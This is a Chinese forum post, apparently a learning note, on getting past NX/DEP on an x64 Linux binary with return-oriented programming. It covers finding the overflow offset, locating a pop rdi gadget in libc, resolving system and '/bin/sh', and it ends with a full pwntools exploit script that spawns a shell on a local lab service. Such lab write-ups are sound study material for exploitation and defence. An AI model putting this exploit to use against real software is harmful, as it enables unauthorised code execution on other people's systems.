|
阅读:0回复:0
pwn learning note|x64 linux DEP的绕过|rop/gadget
[i=s] 本帖最后由 math1as 于 2016-7-18 19:56 编辑
首先拿到程序dep 使用gdb-peda加载调试
checksec发现开启了NX(dep防护) 在这里也可以用cat /proc/pid/maps的方法来查看 [img=256,105]https://miao.su/images/2016/07/18/29725e.png[/img] 发现栈的内存只有rw,没有执行的权限了 那么这里也是一开始就遇到了一个问题,直接进行buffer覆盖,无法控制rip[img=403,102]https://miao.su/images/2016/07/18/3b1693.png[/img] 一开始以为是rsp被破坏了,然后自己找了一番资料 基本上是由于x86和x64平台区别的原因 那么是什么导致了异常而rip无法跳转呢? 原因如下:程序使用的地址不能大于0x00000007ffffff..... 这里我们试着用小于这个数值的buffer去填充 果然,成功的控制了rip的数值 但是我们的pattern字符串并不小于这个数值,所以需要找一个方法 ret指令等效于pop rip;ret,因此我们可以用$rip的值来计算偏移 pattern offset $rip[img=550,117]https://miao.su/images/2016/07/18/475566.png[/img] 得到了72,因此我们的buffer长度填充为72个A 那么在开启了NX的情况下无法直接执行栈中填充的shellcode,所以我们这里使用rop来跳过 那么另外x64平台下还有一个问题 先放一张wiki的图 [img=342,279]https://miao.su/images/2016/07/18/5815ad.png[/img] 这是在x86环境下,栈的结构图,基本上可以看到,入栈的param先填满高地址,最后是函数返回地址 但是在x64的环境下,函数参数的传递首先由6个寄存器进行,多余的参数再进行入栈操作 那么第一个用到的寄存器就是rdi,也就是说,我们无法通过直接覆盖栈的方式来传递参数了 这里我们最终想的是调用system函数来执行/bin/sh 所以说,需要用到gadget了,这是存在内存中,每次执行一条语句后就会ret的汇编指令 使用ROPgadget来进行搜寻,你可以用pip install的方式来安装它 在程序中我们并没有搜索到想要的代码,所以我们在它链接的libc.so中搜索 首先使用ldd ./dep命令来查看他调用的libc.so 然后我们就可以搜索要用的gadget了
ROPgadget --binary xxx.libc.so --only "pop|ret" [img=550,66]https://miao.su/images/2016/07/18/7fb287.png[/img] 使用其中的一条pop rdi指令来把/bin/sh对应的字符串地址弹到rdi中。 那么最后一步了,如何确定/bin/sh的位置和system的地址呢 在不开启aslr的情况下,gdb中直接用print system来查看其地址 然后用pwntools里的symbols功能来计算偏移量和查找/bin/sh 当然,你也可以直接用gdb来find "/bin/sh" 然后用socat把这个程序运行在6666端口 执行我们的payload [img=550,117]https://miao.su/images/2016/07/18/9dcb7d.png[/img] 那么成功的获取了一个system执行的/bin/sh的shell 完整的脚本代码如下: [mw_shl_code=python,true] #!/usr/bin/python from pwn import * #test=process('./dep') test=remote('127.0.0.1',6666) libc = ELF('./libc-2.19.so') systemaddr=0x7ffff7a72490 sh_offset=next(libc.search('/bin/sh')) -libc.symbols['system'] ret_offset=0x0000000000022482 - libc.symbols['system'] ret_addr=p64(systemaddr+ret_offset) sh_addr=p64(systemaddr+sh_offset) print ret_offset ret_addr=p64(0x7ffff7a53482) systemaddr=p64(systemaddr) buffer='A'*72 payload=buffer+ret_addr+sh_addr+systemaddr test.send(payload) test.interactive()[/mw_shl_code] |
|